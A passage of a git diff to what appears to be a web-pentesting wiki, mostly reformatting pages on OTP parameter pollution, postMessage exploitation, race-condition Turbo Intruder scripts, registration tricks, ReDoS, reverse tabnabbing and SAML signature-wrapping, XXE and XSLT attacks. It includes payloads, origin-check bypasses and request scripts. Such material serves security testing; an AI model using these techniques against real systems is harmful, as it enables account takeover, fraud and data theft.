supply the value, which means an OTP of shrey….@gmail.com was sent to radhika….@gmail.com. -**NOTE :** Here in an image on 4th step where I received an OTP to radhika….@gmail.com I was confused because the message said Hi Radhika, so I thought that the parameter is not polluted and the OTP was for radhika….@gmail.com but when I tried the OTP on shrey….@gmail.com it worked. - +**NOTE : **Here in an image on 4th step where I received an OTP to radhika….@gmail.com I was confused because the message said Hi Radhika, so I thought that the parameter is not polluted and the OTP was for radhika….@gmail.com but when I tried the OTP on shrey….@gmail.com it worked. diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index e82e102d..682c03cb 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -7,7 +7,7 @@ This **cheatsheet doesn't propose a comprehensive list of tests for each vulner {% endhint %} {% hint style="danger" %} -You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure. +You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections **here as even if some content might be reflected it depends heavily on the backend DB technology and structure. {% endhint %} ## Polygloths list @@ -56,7 +56,7 @@ javascript:"/*'/*`/*--> javascript:"/*'/*`/*--> ``` - diff --git a/pentesting-web/postmessage-vulnerabilities.md b/pentesting-web/postmessage-vulnerabilities.md index d91c76b7..c00e64eb 100644 --- a/pentesting-web/postmessage-vulnerabilities.md +++ b/pentesting-web/postmessage-vulnerabilities.md @@ -18,14 +18,14 @@ document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isA window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com') ``` -Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._ -In the **second scenario**, the **message can only be sent to that domain** \(even if the origin of the window object is different\). -If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object. +Note that **targetOrigin **can be a '\*' or an URL like _https://company.com._\ +__In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different). \ +If the **wildcard **is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object. -### Attacking iframe & wilcard in **targetOrigin** +### Attacking iframe & wilcard in **targetOrigin ** -As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** \(no `X-Frame-Header` protection\) and that is **sending sensitive** message via **postMessage** using a **wildcard** \(\*\), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you. -Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. +As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed **(no `X-Frame-Header` protection) and that is **sending sensitive **message via **postMessage **using a **wildcard **(\*), you can **modify **the **origin **of the **iframe **and **leak **the **sensitive **message to a domain controlled by you.\ +Note that if the page can be iframed but the **targetOrigin **is** set to a URL and not to a wildcard**, this **trick won't work**. ```markup @@ -45,7 +45,7 @@ Note that if the page can be iframed but the **targetOrigin** is **set to a URL ## addEventListener exploitation -**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**. +**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\ A code similar to the following one will be used: ```javascript @@ -57,28 +57,31 @@ window.addEventListener("message", (event) => { }, false); ``` -Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information \(like changing a password\). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords \(in this example\). +Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important **mainly if the page is going to do** anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example). ### Enumeration -In order to **find event listeners** in the current page you can: +In order to **find event listeners **in the current page you can: -* **Search** the JS code for ****`window.addEventListener` and `$(window).on` \(_JQuery version_\) -* **Execute** in the developer tools console: `getEventListeners(window)` +* **Search **the JS code for** **`window.addEventListener` and `$(window).on` (_JQuery version_) +* **Execute **in the developer tools console: `getEventListeners(window)` -![](../.gitbook/assets/image%20%28618%29%20%281%29.png) +![](<../.gitbook/assets/image (618) (1) (1).png>) -* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser +* **Go to **_Elements --> Event Listeners_ in the developer tools of the browser -![](../.gitbook/assets/image%20%28617%29.png) +![](<../.gitbook/assets/image (617).png>) -* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you. +* Use a **browser extension **like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you. ### addEventListener check origin bypasses -* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")` -* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp. In regular expression, **a dot \(.\) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`. -* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped. +* If **`indexOf()`** is used to **check **the **origin **of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\ + +* If **`search()`** is used to **validate **the **origin **could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\ + In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use **a **special domain **instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\ + +* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties **of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped. ```javascript // Expected to fail: @@ -95,7 +98,7 @@ result.message; // "'"\" ### X-Frame-Header bypass -In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**. +In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent **that **behaviour**.\ In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it: ```markup @@ -107,11 +110,11 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000); ### postMessage to Prototype Pollution and/or XSS -In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`. +In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe **the **page **and **exploit **the **prototype pollution/XSS **sending the exploit via `postMessage`. -A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) +A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage\_2.html) -Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`: +Example of an exploit to abuse** Prototype Pollution and then XSS** through a `postMessage` to an `iframe`: ```markup @@ -131,12 +134,11 @@ Example of an exploit to abuse **Prototype Pollution and then XSS** through a `p For **more information**: -* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution.md)\*\*\*\* -* Link to page about [**XSS**](xss-cross-site-scripting/)\*\*\*\* -* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)\*\*\*\* +* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution.md)**** +* Link to page about [**XSS**](xss-cross-site-scripting/)**** +* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)**** ## References -* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) +* [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) - diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index 3019a5ca..850c9293 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -2,18 +2,18 @@ ## Anything limited by a number of attempts -Race conditions are **vulnerabilities** that **appear** in webs that **limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43). +Race conditions are **vulnerabilities **that **appear **in webs that** limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43). ## Using several times a one-time use code -When you make the web page perform some **action** that **should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**. -Most of the time this is directly related with **money** \(if an action is made you get X money, so let's try to make it several time very quickly\)**.** +When you make the web page perform some **action **that** should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**.\ +Most of the time this is directly related with **money **(if an action is made you get X money, so let's try to make it several time very quickly)**.** ### **Using from the same account the same code several times** -For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to **load the money inside a gift card several times.** +For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to** load the money inside a gift card several times.** -This is the **turbo intruder** script used to **test** the **race condition** of the mentioned writeup: +This is the **turbo intruder **script used to **test **the **race condition **of the mentioned writeup: ```python def queueRequests(target, wordlists): @@ -38,11 +38,11 @@ def handleResponse(req, interesting): table.add(req) ``` -Using also BURP you could also send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.** +Using also BURP you could also send the **request **to **Intruder**, set the **number of threads **to **30** inside the **Options menu and, **select as payload **Null payloads **and generate** 30.** ### **Using the same code from different accounts** -**If the previously proposal didn't work \(try to use the same code several times from the same account\) you try a variant:Try t use the same code from different accounts:** +**If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:** ```python def queueRequests(target, wordlists): @@ -65,20 +65,19 @@ def handleResponse(req, interesting): ### OAuth2 eternal persistence -There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**. -So, until here just a common login with google/linkdin/github... where you aer prompted with a page saying: "_Application <InsertCoolName> wants to access you information, do you want to allow it?_" +There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client **will need to **permit your application **to access some of their data inside of the **OAUth provider**.\ +So, until here just a common login with google/linkdin/github... where you aer prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_" #### Race Condition in `authorization_code` -The **problem** appears when you **accept it** and automatically sends a **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** \(_Authentication Token/Refresh Token_\) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. +The **problem **appears when you **accept it** and automatically sends a **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. #### Race Condition in `Refresh Token` -Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** +Once you have** obtained a valid RT** you could try to **abuse it to generate several AT/RT **and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid. ** ## References * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) - diff --git a/pentesting-web/registration-vulnerabilities.md b/pentesting-web/registration-vulnerabilities.md index 64a45adf..0008c460 100644 --- a/pentesting-web/registration-vulnerabilities.md +++ b/pentesting-web/registration-vulnerabilities.md @@ -7,9 +7,9 @@ * Try to generate using an existing username * Check varying the email: * uppsercase - * +1@ + * \+1@ * add some some in the email - * special characters in the email name \(%00, %09, %20\) + * special characters in the email name (%00, %09, %20) * Put black characters after the email: `test@test.com a` * victim@gmail.com@attacker.com * victim@attacker.com@gmail.com @@ -20,20 +20,24 @@ Check if you can figure out when a username has already been registered inside t ### Password Policy -Creating a user check the password policy \(check if you can use weak passwords\). +Creating a user check the password policy (check if you can use weak passwords).\ In that case you may try to bruteforce credentials. ### SQL Injection -\*\*\*\*[**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms. +****[**Check this page **](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms. ### Oauth Takeovers -{% page-ref page="oauth-to-account-takeover.md" %} +{% content-ref url="oauth-to-account-takeover.md" %} +[oauth-to-account-takeover.md](oauth-to-account-takeover.md) +{% endcontent-ref %} ### SAML Vulnerabilities -{% page-ref page="saml-attacks/" %} +{% content-ref url="saml-attacks/" %} +[saml-attacks](saml-attacks/) +{% endcontent-ref %} ### Change Email @@ -42,7 +46,6 @@ when registered try to change the email and check if this change is correctly va ## More Checks * Check if you can use **disposable emails** -* **Long** **password** \(>200\) leads to **DoS** +* **Long** **password** (>200) leads to **DoS** * **Check rate limits on account creation** -* Use username@**burp\_collab**.net and analyze the **callback** - +* Use username@**burp_collab**.net and analyze the **callback** diff --git a/pentesting-web/regular-expression-denial-of-service-redos.md b/pentesting-web/regular-expression-denial-of-service-redos.md index 8130219e..258e2410 100644 --- a/pentesting-web/regular-expression-denial-of-service-redos.md +++ b/pentesting-web/regular-expression-denial-of-service-redos.md @@ -2,15 +2,15 @@ ## Introduction -**Copied from** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\*\*\*\* +**Copied from **[**https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service\_-\_ReDoS)**** -The **Regular expression Denial of Service \(ReDoS\)** is a [Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service) attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly \(exponentially related to input size\). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time. +The **Regular expression Denial of Service (ReDoS)** is a [Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service) attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time. ### Description -#### The problematic Regex naïve algorithm +#### The problematic Regex naïve algorithm -The Regular Expression naïve algorithm builds a [Nondeterministic Finite Automaton \(NFA\)](https://en.wikipedia.org/wiki/Nondeterministic_finite_state_machine), which is a finite state machine where for each pair of state and input symbol there may be several possible next states. Then the engine starts to make transition until the end of the input. Since there may be several possible next states, a deterministic algorithm is used. This algorithm tries one by one all the possible paths \(if needed\) until a match is found \(or all the paths are tried and fail\). +The Regular Expression naïve algorithm builds a [Nondeterministic Finite Automaton (NFA)](https://en.wikipedia.org/wiki/Nondeterministic_finite_state_machine), which is a finite state machine where for each pair of state and input symbol there may be several possible next states. Then the engine starts to make transition until the end of the input. Since there may be several possible next states, a deterministic algorithm is used. This algorithm tries one by one all the possible paths (if needed) until a match is found (or all the paths are tried and fail). For example, the Regex `^(a+)+$` is represented by the following NFA: @@ -18,9 +18,9 @@ For example, the Regex `^(a+)+$` is represented by the following NFA: For the input `aaaaX` there are 16 possible paths in the above graph. But for `aaaaaaaaaaaaaaaaX` there are 65536 possible paths, and the number is double for each additional `a`. This is an extreme case where the naïve algorithm is problematic, because it must pass on many many paths, and then fail. -Notice, that not all algorithms are naïve, and actually Regex algorithms can be written in an efficient way. Unfortunately, most Regex engines today try to solve not only “pure” Regexes, but also “expanded” Regexes with “special additions”, such as back-references that cannot be always be solved efficiently \(see **Patterns for non-regular languages** in [Wiki-Regex](https://en.wikipedia.org/wiki/Regular_expression) for some more details\). So even if the Regex is not “expanded”, a naïve algorithm is used. +Notice, that not all algorithms are naïve, and actually Regex algorithms can be written in an efficient way. Unfortunately, most Regex engines today try to solve not only “pure” Regexes, but also “expanded” Regexes with “special additions”, such as back-references that cannot be always be solved efficiently (see **Patterns for non-regular languages** in [Wiki-Regex](https://en.wikipedia.org/wiki/Regular_expression) for some more details). So even if the Regex is not “expanded”, a naïve algorithm is used. -#### Evil Regexes +#### Evil Regexes A Regex is called “evil” if it can stuck on crafted input. @@ -39,7 +39,7 @@ A Regex is called “evil” if it can stuck on crafted input. * `(a|a?)+` * `(.*a){x} for x \> 10` -All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` \(The minimum input length might change slightly, when using faster or slower machines\). +All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` (The minimum input length might change slightly, when using faster or slower machines). ## Examples @@ -77,5 +77,3 @@ Regexp (a+)*$ took 723 milliseconds. {% embed url="https://github.com/doyensec/regexploit" %} - - diff --git a/pentesting-web/reverse-tab-nabbing.md b/pentesting-web/reverse-tab-nabbing.md index c999b628..75d0affc 100644 --- a/pentesting-web/reverse-tab-nabbing.md +++ b/pentesting-web/reverse-tab-nabbing.md @@ -2,12 +2,12 @@ ## Description -In a situation where an **attacker** can **control** the **`href`** argument of an **` +### Examples -Create the following pages in a folder and run a web server with `python3 -m http.server` +Create the following pages in a folder and run a web server with `python3 -m http.server`\ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**. {% code title="vulnerable.html" %} @@ -53,7 +53,7 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link ``` {% endcode %} -{% code title="malicious\_redir.html" %} +{% code title="malicious_redir.html" %} ```markup @@ -64,9 +64,9 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link ``` {% endcode %} -### Accessible properties +### Accessible properties -The malicious site can only access to the following properties from the **opener** javascript object reference \(that is in fact a reference to a **window** javascript class instance\) in case of **cross origin** \(cross domains\) access: +The malicious site can only access to the following properties from the **opener** javascript object reference (that is in fact a reference to a **window** javascript class instance) in case of **cross origin** (cross domains) access: * `opener.closed`: Returns a boolean value indicating whether a window has been closed or not. * `opener.frames`: Returns all iframe elements in the current window. @@ -80,11 +80,10 @@ If the domains are the same then the malicious site can access all the propertie ## Prevention -Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing). +Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security_Cheat_Sheet.html#tabnabbing). ## References -{% embed url="https://owasp.org/www-community/attacks/Reverse\_Tabnabbing" %} - -\*\*\*\* +{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %} +**** diff --git a/pentesting-web/saml-attacks/README.md b/pentesting-web/saml-attacks/README.md index 1564bf88..4aa5208f 100644 --- a/pentesting-web/saml-attacks/README.md +++ b/pentesting-web/saml-attacks/README.md @@ -2,11 +2,13 @@ ## Basic Information -{% page-ref page="saml-basics.md" %} +{% content-ref url="saml-basics.md" %} +[saml-basics.md](saml-basics.md) +{% endcontent-ref %} ## Attacks Graphic -![](../../.gitbook/assets/image%20%28535%29%20%281%29%20%281%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png) +![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (4).png>) ## Tool @@ -35,18 +37,18 @@ puts "First child after round-trip: " + doc.root.elements[1].name Running the program against REXML 3.2.4 or earlier would result in the following output instead: -```text +``` First child in original doc: Y First child after round-trip: Z ``` This is how REXML saw the original XML document from the program above: -![](../../.gitbook/assets/image%20%28561%29.png) +![](<../../.gitbook/assets/image (561).png>) And this is how it saw it after a round of parsing and serialization: -![](../../.gitbook/assets/image%20%28560%29.png) +![](<../../.gitbook/assets/image (562).png>) For more information about the vulnerability and how to abuse it: @@ -55,67 +57,67 @@ For more information about the vulnerability and how to abuse it: ## XML Signature Wrapping Attacks -XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** \(business logic\). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks \(XSW\) exists. +XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** (business logic). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks (XSW) exists.\ In these attacks the **adversary** **modifies** the **message** structure by **injecting** **forged** elements **which do not invalidate the XML Signature**. The goal of this alteration is to change the message in such a way that the **application logic and the signature verification module use different parts of the message**. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The **attacker thus circumvents the integrity protection** and the origin authentication of the XML Signature and can inject arbitrary content. From the SAML request: -![](../../.gitbook/assets/image%20%28544%29.png) +![](<../../.gitbook/assets/image (537).png>) -### XSW \#1 +### XSW #1 -An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data. +An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data. -![](../../.gitbook/assets/image%20%28546%29.png) +![](<../../.gitbook/assets/image (538).png>) -### XSW \#2 +### XSW #2 -The difference with \#1 is that the type of Signature used is a **detached signature** where XSW \#1 used an enveloping signature. +The difference with #1 is that the type of Signature used is a **detached signature** where XSW #1 used an enveloping signature.\ Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed. -![](../../.gitbook/assets/image%20%28545%29.png) +![](<../../.gitbook/assets/image (539).png>) -### XSW \#3 +### XSW #3 In this attack an **evil Assertion is created in at the same level** as the original assertion to try to confuse the business logic and use the evil data. -![](../../.gitbook/assets/image%20%28540%29.png) +![](<../../.gitbook/assets/image (540).png>) -### XSW \#4 +### XSW #4 -XSW \#4 is similar to \#3, except in this case the **original Assertion becomes a child** of the copied Assertion. +XSW #4 is similar to #3, except in this case the **original Assertion becomes a child** of the copied Assertion. -![](../../.gitbook/assets/image%20%28542%29.png) +![](<../../.gitbook/assets/image (541).png>) -### XSW \#5 +### XSW #5 -In XSW \#5 the Signature and the original Assertion aren’t in one of the three standard configurations \(enveloped/enveloping/detached\). In this case, the copied Assertion envelopes the Signature. +In XSW #5 the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature. -![](../../.gitbook/assets/image%20%28549%29.png) +![](<../../.gitbook/assets/image (542).png>) -### XSW \#6 +### XSW #6 -XSW \#6 inserts its copied Assertion into the same location as \#’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion. +XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion. -![](../../.gitbook/assets/image%20%28539%29.png) +![](<../../.gitbook/assets/image (543).png>) -### XSW \#7 +### XSW #7 -XSW \#7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure. +XSW #7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure. -![](../../.gitbook/assets/image%20%28543%29.png) +![](<../../.gitbook/assets/image (544).png>) -### XSW \#8 +### XSW #8 -XSW \#8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW \#7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion. +XSW #8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion. -![](../../.gitbook/assets/image%20%28541%29.png) +![](<../../.gitbook/assets/image (545).png>) ### Tool You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it. -![](../../.gitbook/assets/image%20%28547%29.png) +![](<../../.gitbook/assets/image (546).png>) ### Original Paper @@ -125,7 +127,9 @@ For more information about this attack read the original paper in [https://www.u If you don't know which kind of attacks are XXE, please read the following page: -{% page-ref page="../xxe-xee-xml-external-entity.md" %} +{% content-ref url="../xxe-xee-xml-external-entity.md" %} +[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md) +{% endcontent-ref %} Due to the fact that SAML Responses are deflated and base64’d **XML documents**, we can test for **XXE** by manipulating the XML document sent as the SAML Response. Example: @@ -155,9 +159,11 @@ You can also use the Burp extension [**SAML Raider**](https://portswigger.net/ba For more information about XSLT go to: -{% page-ref page="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} +{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} +[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) +{% endcontent-ref %} -Extensible Stylesheet Language Transformation \(XSLT\) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that **the attack doesn’t require a valid signature to succeed**. The reason for this is that **the XSLT transformation occurs before the digital signature is processed for verification**. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid. +Extensible Stylesheet Language Transformation (XSLT) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that **the attack doesn’t require a valid signature to succeed**. The reason for this is that **the XSLT transformation occurs before the digital signature is processed for verification**. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid. ![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png) @@ -187,13 +193,13 @@ Here you can find a **POC** to check for this kind of vulnerabilities, in the ha You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities. -## XML Signature Exclusion +## XML Signature Exclusion Signature Exclusion is used to test how the SAML implementation behaves when there is **no Signature elemen**t. When a Signature element is **absent** the **signature validation step may get skipped entirely**. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker. -![](../../.gitbook/assets/image%20%28548%29.png) +![](<../../.gitbook/assets/image (547).png>) -### Tool +### Tool Signature exclusion begins with intercepting the SAML Response then clicking `Remove Signatures`. In doing so **all** Signature elements are removed. @@ -201,14 +207,14 @@ Signature exclusion begins with intercepting the SAML Response then clicking `Re With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service -## Certificate Faking +## Certificate Faking Certificate faking is the process of testing whether or not the Service Provider **verifies that a trusted Identity Provider signed the SAML Message.** The trust relationship between SP and IdP is established and **should be verified** each time a SAML Message is received. What this comes down to is using a **self-signed** certificate to sign the SAML Response or Assertion. -### Tool +### Tool -The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used. -To fake a certificate, begin by intercepting the SAML Response. +The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used.\ +To fake a certificate, begin by intercepting the SAML Response.\ If there is a Signature included in the Response, use the `Send Certificate to SAML Raider Certs` button. ![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png) @@ -217,40 +223,40 